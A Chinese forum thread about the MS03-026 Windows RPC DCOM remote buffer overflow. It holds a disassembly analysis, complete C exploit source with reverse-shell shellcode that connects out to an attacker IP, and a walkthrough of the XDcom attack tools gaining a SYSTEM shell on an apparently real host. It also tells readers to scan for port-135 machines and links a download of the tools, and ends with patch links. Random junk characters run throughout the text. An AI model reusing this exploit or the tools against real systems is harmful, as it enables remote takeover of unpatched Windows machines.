LSD RPC 溢出漏洞之分析

ASEE

作者：FLASHSKY 作者单位：启明星辰积极防御实验室 . r! T3 W. l0 L2 E! S' EWWW SITE：WWW.VENUSTECH.COM.CN WWW.XFOCUS.NET，WWW.SHOPSKY.COM 5 v9 F/ H5 L' {, I) H& @邮件：flashsky@xfocus.org,fangxing@venustech.com.cn,webmaster@shopsky.com 感谢BENJURRY做测试，翻译和代码的通用化处理。 邮件：benjurry@xfocus.org LSD 的RPC溢出漏洞（MS03-26）其实包含了2个溢出漏洞，一个是本地的，一个是远程的。他们都是由一个通用接口导致的。 8 R3 E. m* S# ?: o- u& m3 a7 s导致问题的调用如下： hr = CoGetInstanceFromFile(pServerInfo,NULL,0,CLSCTX_REMOTE_SERVER,STGM_READWRITE,L"C:\\1234561111111111111111111111111.doc",1,&qi); # z2 _8 V1 n' Y5 c" _这个调用的文件名参数（第5个参数，会引起溢出），当这个文件名超长的时候，会导致客户端的本地溢出（在RPCSS中的GetPathForServer函数里只给了0X220堆栈的空间，但是是用lstrcpyw进行拷贝的），这个我们在这里就不深入研究了(不过这个API先会检查本地文件是否存在，在进行处理，因此由于建不了长文件，所以要利用这个溢出不能直接调用这个API，而是构造好包信息以后直接调用LPC的函数，有兴趣的可以自己去试。),我们来讲解一下远程的溢出。 8 K$ F0 U+ W# c6 t4 H$ }5 O在客户端给服务器传递这个参数的时候，会自动转化成如下格式：L“\\servername\c$\1234561111111111111111111111111.doc"这样的形式传递给远程服务器，于是在远程服务器的处理中会先取出servername名，但是这里没做检查，给定了0X20（默认NETBIOS名）大小的空间，于是堆栈溢出产生了： 问题代码如下： GetPathForServer： .text:761543DA push ebp 7 j9 Y. J( C$ f: ]4 T) Q2 M4 u.text:761543DB mov ebp, esp .text:761543DD sub esp, 20h <-----0x20空间 " {5 Z+ V, [5 L/ v: f7 X.text:761543E0 mov eax, [ebp+arg_4] .text:761543E3 push ebx .text:761543E4 push esi 3 V% @% x7 j0 u3 \& j.text:761543E5 mov esi, [ebp+hMem] .text:761543E8 push edi .text:761543E9 push 5Ch 9 ^' k4 c9 H6 @.text:761543EB pop ebx 9 C2 j0 ~; `: U.text:761543EC mov [eax], esi .text:761543EE cmp [esi], bx .text:761543F1 mov edi, esi .text:761543F3 jnz loc_761544BF .text:761543F9 cmp [esi+2], bx ( }) Y) b) S7 q: F3 ?/ W.text:761543FD jnz loc_761544BF .text:76154403 lea eax, [ebp+String1]《-----------写入的地址，只有0X20 + Q" B( Z& N$ x! c! E8 I.text:76154406 push 0 .text:76154408 push eax * T: N9 m$ H1 e9 H: T# E# C.text:76154409 push esi 〈----------------------我们传入的文件名参数 8 o& R* k& O$ [.text:7615440A call GetMachineName 。。。。。。。。。。。。。。。。。。。。。。。。。。 此函数返回的时候，溢出点生效 0 _% d6 m+ m( r9 ` \GetMachineName: ' o- o" H+ x9 h9 ].text:7614DB6F mov eax, [ebp+arg_0] + s7 o% c' t0 \) Z/ @- A7 ~: c& t( g.text:7614DB72 mov ecx, [ebp+arg_4] ' t; } Y1 M3 W4 ^6 A; [ o.text:7614DB75 lea edx, [eax+4] 8 D' M7 l9 h. A2 j* K6 l.text:7614DB78 mov ax, [eax+4] 5 H- m+ i+ K6 X9 N# J% B.text:7614DB7C cmp ax, 5Ch 〈-----------------只判断0X5C .text:7614DB80 jz short loc_7614DB93 .text:7614DB82 sub edx, ecx .text:7614DB84 9 X' w; o8 V0 E$ u/ c& s \.text:7614DB84 loc_7614DB84: ; CODE XREF: sub_7614DA19+178j [9 t5 f0 w1 {* c8 a3 Z/ j.text:7614DB84 mov [ecx], ax 〈----------------写入上个只有0X20的空间，超过就溢出 .text:7614DB87 inc ecx ( H( F! d6 a+ P3 D- m% Z.text:7614DB88 inc ecx .text:7614DB89 mov ax, [ecx+edx] & ? b) T5 W# W+ v# l5 o% U.text:7614DB8D cmp ax, 5Ch .text:7614DB91 jnz short loc_7614DB84 + `, v# a0 r$ q: C2 }* ?.text:7614DB93 & h+ F' c3 U4 l" _0 D- jOK，我们现在就需要想法来利用这个漏洞，由于\\SERVERNAME是由系统自动生成的，我们只能利用手工直接生成RPC的包来实现，另外SHELLCODE中不能包含0X5C，因为这样判断就是\\SERVERNAME结束了。 ) G; P0 Q2 W( y' Z( i$ B下面就给出一个实现的代码，注意点如下： 1.由于RPCRT4，RPCSS中没有JMP ESP的代码，这里使用了OLE32.DLL中的，但是这可能是会重定位的，大家测试的时候 5 }- i. @' Y( A9 ]9 F; j4 i需要再确定或自己找一个存在的JMP ESP的代脉，我的这是WIN2000+SP3上的地址且OLE32未重定位情况下的。 2。这里使用了反向连接的SHELLCODE，需要先运行NC 3。程序中的SC的整体长度必须满足sizeof(sz)%16=12的关系，因为不是整数的话，整个包的长度会有一些填充，那么 计算就不满足我这里给出的一个简单关系了，会导致RPC包的解析无效果。 & ?# k/ w ]5 I' L/ S+ T4。在溢出返回前，返回地址后面的2个参数还会使用，所以需要保证是个内存可写空间地址。 5，这里是直接使用堆栈溢出返回的，其实大家也可以尝试一下覆盖SEH，这里就不再多讲了。 0 O; Q! ]. j" e9 S l6 h6 T; B 7 R/ Q6 Y* F2 A+ f! e6 k4 X#include #include 6 Q! u5 _$ A3 r: r" D#include #include #include 9 p( e6 A. ?, |; F#include + `* o* a4 r& |+ r unsigned char bindstr[]={ - s9 s# T( C+ M2 p: {3 E: H0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00, 8 Q& }8 N1 ^# B+ Z! \0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00, ! e3 H1 Q* Q G8 Z( l0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00, % D% _3 Z9 I- W9 P1 ~" h0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00, 0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00}; unsigned char request1[]={ 8 l7 G0 W: L9 G2 U$ U3 U+ I7 T0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03 ,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00 0 C$ E# j" o* O! d4 N: ^1 e,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45 ,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E " I3 `2 H! w$ J,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D * u9 v# k4 c1 B4 U, n,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41 ,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00 + n: k- O- D" _2 f O! x5 g,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45 % `" r( C; r" _( I1 \' ?. Y,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00 % y* r O* i( G3 l( v- G8 o, _( X0 z,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00 9 _- A- n3 V+ o,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03 ,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00 ,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29 6 z [ y" i! `+ Z9 C,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00 - P7 `4 A0 v" ~& H% ],0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00 3 m/ e$ i& ?1 U9 W" X. ^: ?! K,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00 4 o$ A- O9 E, I( {+ S, e,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00 0 e9 O7 F0 o h: c+ r( W6 C,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00 0 G; w% F6 P3 ?/ \' T! B1 c,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00 3 I/ B K0 A1 {- U! @% D, O,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10 ! T. M2 a3 t, f; U6 },0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF ,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ! J+ v0 [& K4 F% D$ Y,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 & S h% ^- g1 a,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 # m, w, O0 c8 M+ f! Q% o! r,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ! e# {* ~* l" ^,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10 $ J; m, U1 R" m5 N5 L,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09 ! x* Q- l ]. f# X7 t" U,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00 ( l* R& T8 f* Q' h# _2 J/ j,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00 1 x( \* F% F$ G( o% t,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00 y" b4 T4 L+ b7 ]4 s,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00 ,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01 ,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03 ,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00 ,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E ,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 - d! W7 g) ~* _& l; R,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00 ,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00 / Q( ], _: ]' ]: J1 j4 v. E$ E,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00 ,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 * [* R+ Q3 \: i/ q7 N( j,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00 ,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00}; $ A. [9 c: S. h2 o+ S, n* f- T ( b6 P1 M4 }2 W9 J/ K- I: ^unsigned char request2[]={ 0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00 ,0x00,0x00,0x5C,0x00,0x5C,0x00}; " |7 C5 z% V4 q7 `! E- o unsigned char request3[]={ * j/ O0 Z1 w: Y1 Z& {0x5C,0x00 ,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00 8 u4 F# F7 b. l+ J- m,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 6 w y6 X$ w0 b' G7 Z$ C,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 8 l* P4 q+ b& W/ G* H' d,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00}; unsigned char sc[]= "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00" 9 u7 c3 p& Z; C8 ?"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00" "\x46\x00\x58\x00" "\x46\x00\x58\x00\x25\x2b\xaa\x77" //JMP ESP地址 IN ole32.DLL，可能需要自己改动 6 y* u/ _4 H/ h"\x38\x6e\x16\x76\x0d\x6e\x16\x76" //需要是可写的内存地址 //下面是SHELLCODE，可以放自己的SHELLCODE，但必须保证sc的整体长度/16=12，不满足自己填充一些0X90吧 ! |% K3 U: F+ y! x) z, W//SHELLCODE不存在0X00，0X00与0X5C "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01" "\xfc\xff\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30" "\x93\x40\xe2\xfa" // code "\x7b\xe4\x93\x93\x93\xd4\xf6\xe7\xc3\xe1\xfc\xf0\xd2\xf7\xf7\xe1" "\xf6\xe0\xe0\x93\xdf\xfc\xf2\xf7\xdf\xfa\xf1\xe1\xf2\xe1\xea\xd2" 5 ^6 R6 ?3 z5 G2 S"\x93\xd0\xe1\xf6\xf2\xe7\xf6\xc3\xe1\xfc\xf0\xf6\xe0\xe0\xd2\x93" "\xd0\xff\xfc\xe0\xf6\xdb\xf2\xfd\xf7\xff\xf6\x93\xd6\xeb\xfa\xe7" 5 V: C! J' M/ K! V"\xc7\xfb\xe1\xf6\xf2\xf7\x93\xe4\xe0\xa1\xcc\xa0\xa1\x93\xc4\xc0" / B( V3 J8 E/ o1 H- z* f( R"\xd2\xc0\xe7\xf2\xe1\xe7\xe6\xe3\x93\xc4\xc0\xd2\xc0\xfc\xf0\xf8" 1 A% \5 h _# R5 i"\xf6\xe7\xd2\x93\xf0\xff\xfc\xe0\xf6\xe0\xfc\xf0\xf8\xf6\xe7\x93" "\xf0\xfc\xfd\xfd\xf6\xf0\xe7\x93\xf0\xfe\xf7\x93\xc9\xc1\x28\x93" 0 s; z3 p; N& a"\x93\x63\xe4\x12\xa8\xde\xc9\x03\x93\xe7\x90\xd8\x78\x66\x18\xe0" "\xaf\x90\x60\x18\xe5\xeb\x90\x60\x18\xed\xb3\x90\x68\x18\xdd\x87" 5 I# {' E- y! T, X. A" K"\xc5\xa0\x53\xc4\xc2\x18\xac\x90\x68\x18\x61\xa0\x5a\x22\x9d\x60" ' @4 |" c. o; f: w"\x35\xca\xcc\xe7\x9b\x10\x54\x97\xd3\x71\x7b\x6c\x72\xcd\x18\xc5" "\xb7\x90\x40\x42\x73\x90\x51\xa0\x5a\xf5\x18\x9b\x18\xd5\x8f\x90" . H- T( |( N) }% q2 t' \ N- p"\x50\x52\x72\x91\x90\x52\x18\x83\x90\x40\xcd\x18\x6d\xa0\x5a\x22" "\x97\x7b\x08\x93\x93\x93\x10\x55\x98\xc1\xc5\x6c\xc4\x63\xc9\x18" "\x4b\xa0\x5a\x22\x97\x7b\x14\x93\x93\x93\x10\x55\x9b\xc6\xfb\x92" "\x92\x93\x93\x6c\xc4\x63\x16\x53\xe6\xe0\xc3\xc3\xc3\xc3\xd3\xc3" - n2 z9 ]& o4 T! B3 ]# Z% p: a"\xd3\xc3\x6c\xc4\x67\x10\x6b\x6c\xe7\xf0\x18\x4b\xf5\x54\xd6\x93" ! Y5 B- S) Y/ P; f"\x91\x93\xf5\x54\xd6\x91\x28\x39\x54\xd6\x97\x4e\x5f\x28\x39\xf9" "\x83\xc6\xc0\x6c\xc4\x6f\x16\x53\xe6\xd0\xa0\x5a\x22\x82\xc4\x18" . U6 h$ E' x; p- V. n9 k7 ^! Q0 d"\x6e\x60\x38\xcc\x54\xd6\x93\xd7\x93\x93\x93\x1a\xce\xaf\x1a\xce" "\xab\x1a\xce\xd3\x54\xd6\xbf\x92\x92\x93\x93\x1e\xd6\xd7\xc3\xc6" "\xc2\xc2\xc2\xd2\xc2\xda\xc2\xc2\xc5\xc2\x6c\xc4\x77\x6c\xe6\xd7" "\x6c\xc4\x7b\x6c\xe6\xdb\x6c\xc4\x7b\xc0\x6c\xc4\x6b\xc3\x6c\xc4" / L0 z5 u0 ]+ N6 B0 I1 m) C, ^"\x7f\x19\x95\xd5\x17\x53\xe6\x6a\xc2\xc1\xc5\xc0\x6c\x41\xc9\xca" "\x1a\x94\xd4\xd4\xd4\xd4\x71\x7a\x50\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; . ^0 }, T! Q5 }6 l) v * Z+ `& r8 U2 G( e! sunsigned char request4[]={ 8 O( u% o; S2 O% }0 A8 p0x01,0x10 " y) [1 j Q+ q/ a,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00 ,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C # E7 b0 L% ^ s- Y+ ?,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00 7 N ?, y* Y+ X}; void main(int argc,char ** argv) { WSADATA WSAData; 0 w5 Z, z X5 M0 K" C0 cSOCKET sock; int len,len1; ) S8 ]! f- L# i6 X2 l8 DSOCKADDR_IN addr_in; / R& Z) M# U5 xshort port=135; unsigned char buf1[0x1000]; unsigned char buf2[0x1000]; & G7 u, p( J% _; Z$ [/ i3 Uunsigned short port1; + T) X8 P3 ]; ~% b& lDWORD cb; ! V# w0 K! z2 E; Y+ I $ }3 O7 G" g! ^' L( @0 j: Yif (WSAStartup(MAKEWORD(2,0),&WSAData)!=0) { printf("WSAStartup error.Error:%d\n",WSAGetLastError()); ( U$ C7 [. F8 Y1 Preturn; } - ^, Q7 V: r* R5 _. v6 d" qaddr_in.sin_family=AF_INET; addr_in.sin_port=htons(port); addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]); 9 {/ Z! S: R. @. Z$ Z. [5 s * e+ q2 D. }- G! j3 tif ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET) 7 C$ x$ | ?: s{ / V; ^5 |; J( L# _8 v' ~$ f" sprintf("Socket failed.Error:%d\n",WSAGetLastError()); . j) A5 g [5 }% |. R Ereturn; 5 z& Y* C8 G' K} 9 B% {9 r4 v5 S) ~( U6 wif(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR) & R, }- |+ g3 k3 N{ printf("Connect failed.Error:%d",WSAGetLastError()); return; } 2 X3 ]. P! n. Z, t" Mport1 = htons (2300); //反向连接的端口 & M& W s8 U; `, z& e' {port1 ^= 0x9393; : E; l6 J. }2 B- |) ?cb=0XD20AA8C0; //反向连接的IP地址，这里是192。168。10。210， cb ^= 0x93939393; *(unsigned short *)&sc[330+0x30] = port1; " \8 a1 Y% U+ m& S7 r7 Z*(unsigned int *)&sc[335+0x30] = cb; len=sizeof(sc); memcpy(buf2,request1,sizeof(request1)); len1=sizeof(request1); ' U/ h. E$ e9 X*(DWORD *)(request2)=*(DWORD *)(request2)+sizeof(sc)/2; //计算文件名双字节长度 ( o4 r# i3 R) x5 }*(DWORD *)(request2+8)=*(DWORD *)(request2+8)+sizeof(sc)/2;//计算文件名双字节长度 / s" t* k6 d/ `1 gmemcpy(buf2+len1,request2,sizeof(request2)); len1=len1+sizeof(request2); memcpy(buf2+len1,sc,sizeof(sc)); + e, t. \2 Q" L/ z/ H8 elen1=len1+sizeof(sc); 9 d. c. @7 `1 e1 [memcpy(buf2+len1,request3,sizeof(request3)); len1=len1+sizeof(request3); memcpy(buf2+len1,request4,sizeof(request4)); len1=len1+sizeof(request4); *(DWORD *)(buf2+8)=*(DWORD *)(buf2+8)+sizeof(sc)-0xc; ( O, N( M3 C3 u//计算各种结构的长度 *(DWORD *)(buf2+0x10)=*(DWORD *)(buf2+0x10)+sizeof(sc)-0xc; *(DWORD *)(buf2+0x80)=*(DWORD *)(buf2+0x80)+sizeof(sc)-0xc; *(DWORD *)(buf2+0x84)=*(DWORD *)(buf2+0x84)+sizeof(sc)-0xc; *(DWORD *)(buf2+0xb4)=*(DWORD *)(buf2+0xb4)+sizeof(sc)-0xc; *(DWORD *)(buf2+0xb8)=*(DWORD *)(buf2+0xb8)+sizeof(sc)-0xc; ( @# u+ R# m' ? v) W" |*(DWORD *)(buf2+0xd0)=*(DWORD *)(buf2+0xd0)+sizeof(sc)-0xc; *(DWORD *)(buf2+0x18c)=*(DWORD *)(buf2+0x18c)+sizeof(sc)-0xc; & r0 K% v9 b8 `" y1 R8 w u: p f# _if (send(sock,bindstr,sizeof(bindstr),0)==SOCKET_ERROR) 5 E( ?" v5 f. |& r{ , E o5 c$ x+ L: ]printf("Send failed.Error:%d\n",WSAGetLastError()); ! k$ |' a% c1 [4 I: greturn; } len=recv(sock,buf1,1000,NULL); if (send(sock,buf2,len1,0)==SOCKET_ERROR) { 6 l' \ b# x* `& `' ^printf("Send failed.Error:%d\n",WSAGetLastError()); return; } 3 y L% w4 t# e0 n1 B. Llen=recv(sock,buf1,1024,NULL); } ) U8 _( i. W0 H0 Y补丁机理： % }; q& D/ E- W补丁把远程和本地的溢出都补了，呵呵，这个这么有名的东西，我也懒得多说了。 * x b2 C1 Z7 |5 ~, d) C 补记： 由于缺乏更多的技术细节，搞这个从上星期五到现在终于才搞定，惭愧，不过值得庆幸的是其间发现了RPC DCOM DOS的漏洞。先开始被本地溢出的迷惑了很久，怎么也无法远程进入这个函数，最后偶然的一次，让我错误的看花了眼，再远程调用的时候，以为GETSERVERPATH是存在本地溢出的GetPathForServer函数，，心中以为远程进入了GetPathForServer函数，仔细的跟踪，这才发现问题所在。感谢所有关心和指导我的同志们。

ASEE

攻击：XDcom.rar远程溢出攻击程序里有chdcom和endcom 2个溢出攻击程序 / U R: ]1 n' t! Tchdcom针对以下版本: - 0 Windows xp SP1 (cn) , k2 t' N! w' P: r$ q- 1 Windows 2000 SP3 (cn) + s' v* G: k# X8 z+ {7 X- 2 Windows 2000 SP4 (cn) ) g9 v F2 ^; V- 3 Windows 2000 SP3 (english) 8 v' O* s& D5 f1 e4 v- 4 Windows 2000 SP4 (english) 2 g4 d9 @7 b; E5 F3 H- 5 Windows XP SP0 (english) - 6 Windows XP SP1 (english) Usage: chdcom ) J: e! n; M! A( f. Scedcom针对以下版本: - 0 Windows 2000 SP0 (english) - 1 Windows 2000 SP1 (english) 0 P) w r/ i+ z+ \6 Y+ M- 2 Windows 2000 SP2 (english) - 3 Windows 2000 SP3 (english) 9 T8 Z: D. \3 ^- 4 Windows 2000 SP4 (english) - 5 Windows XP SP0 (english) - 6 Windows XP SP1 (english) Usage: endcom cygwin1.dll应用程序扩展 溢出目标IP前.先用扫描器扫描开135端口的肉机. 我已经测试近百台主机，当然都开了135的。我是用80来作为判断Target ID的标准。应该不会有错的。其中产生DOS（也就是说明益处成功）为%70左右， 3 v; R& ~3 n$ ?/ O# P 2 Y' n; g' P0 t0 _# a, ]) u比如说目标69.X.173.63开了135端口.Target ID是4 C:\dcom>chdcom 4 69.X.173.63 --------------------------------------------------------- $ ^9 c* C1 V8 r- j2 C; s- Remote DCOM RPC Buffer Overflow Exploit - Original code by FlashSky and Benjurry 4 w; L* O# b8 B. J, c- C5 Q3 Q- Rewritten by HDM last 1 ]" W1 F" C" g6 }8 A- last by nic 8 X; X3 r# A" ~! c0 M-Compiled and recorrected by pingker! - Using return address of 0x77f92a9b 2 b2 c% J! V" X s7 _) a" i& a- Dropping to System Shell... # f( j4 Z) l# }9 }$ b bMicrosoft Windows 2000 [Version 5.00.2195] 9 A1 e9 d; C/ P(C) Copyright 1985-2000 Microsoft Corp. C:\WINNT\system32> 成功溢出. C:\WINNT\system32>net user 8 w! H& E4 ^' Z7 P9 a# [/ `3 enet user . V+ {8 B) o3 ]" n User accounts for \ % k( j0 x1 W7 [0 A+ E2 d7 a) M---------------------------------------------------------------------------- # S/ e! J6 W, [. D* `--- Administrator ASPNET billbishopcom divyanshu ebuyjunction edynamic1 3 Z# Z- X. g3 |( eedynamic2 Guest infinityaspnet infinityinformations IUSR_DIALTONE IUSR_NS1 4 v9 X0 J8 c* d, I7 VIWAM_DIALTONE IWAM_NS1 SQLDebugger TsInternetUser WO The command completed with one or more errors. 这样一来你想干什么就是你的事了. 这版本我已成功测试,70%成功率,可怕!!!,但EXIT目标后再溢出只得等目标 : P/ s% V& [% z$ i) T3 `. Q7 y重启才行. CN可以是繁体或简体中文颁本. 6 b( K. X/ q& T" l+ k再次警告:不要对付国内主机!!!!!后果自负!!!! 9 L+ k7 H, T) u7 a/ \XDcom.rar远程溢出攻击程序下载: 7 `, t% L: |% A7 {3 Ehttp://www.cnse8.com/opensoft.asp?soft_id=206&url=3

ASEE

补丁：
/ B" @' X/ S7 v9 [' Q5 x+ x2 ~Windows NT 4.0 Server ：
5 a) _/ y7 }% O/ e/ J
+ S9 ]1 V1 G/ ^" Q; `http://microsoft.com/downloads/d ... &displaylang=en

Windows NT 4.0 Terminal Server Edition：
4 b! C0 T" s8 v, G( R' v
7 [( E& `; o: V/ U0 _+ @2 ]$ D$ Whttp://microsoft.com/downloads/d ... &displaylang=en

Windows 2000：
# E+ ?/ Z( ?+ t) `- n( c
% ^3 s: t7 D/ J) V) ihttp://microsoft.com/downloads/d ... &displaylang=en
& l. [. C; P$ o8 k8 b! h) i, s（中文）http://microsoft.com/downloads/details.aspx?displaylang=zh-cn&FamilyID=C8B8A846-F541-4C15-8C9F-220354449117
/ W  F9 j! }/ T5 W. T  M' e
Windows XP 32 bit Edition ：

$ @& T$ x, p, ]1 o$ ohttp://microsoft.com/downloads/d ... &displaylang=en
/ c* r1 w3 a; s1 Q
) ?& b; Y1 Y5 v" S3 C* BWindows XP 64 bit Edition：
# Q4 H) W. V- m* Y; _
+ ]4 Y9 i, O  M0 M. Jhttp://microsoft.com/downloads/d ... &displaylang=en
$ g1 |4 |, ]$ p# {7 m$ f
/ Q2 p9 E) O6 m" t* jWindows Server 2003 32 bit Edition：
2 y4 R4 a, p/ A+ F/ h3 _  Z
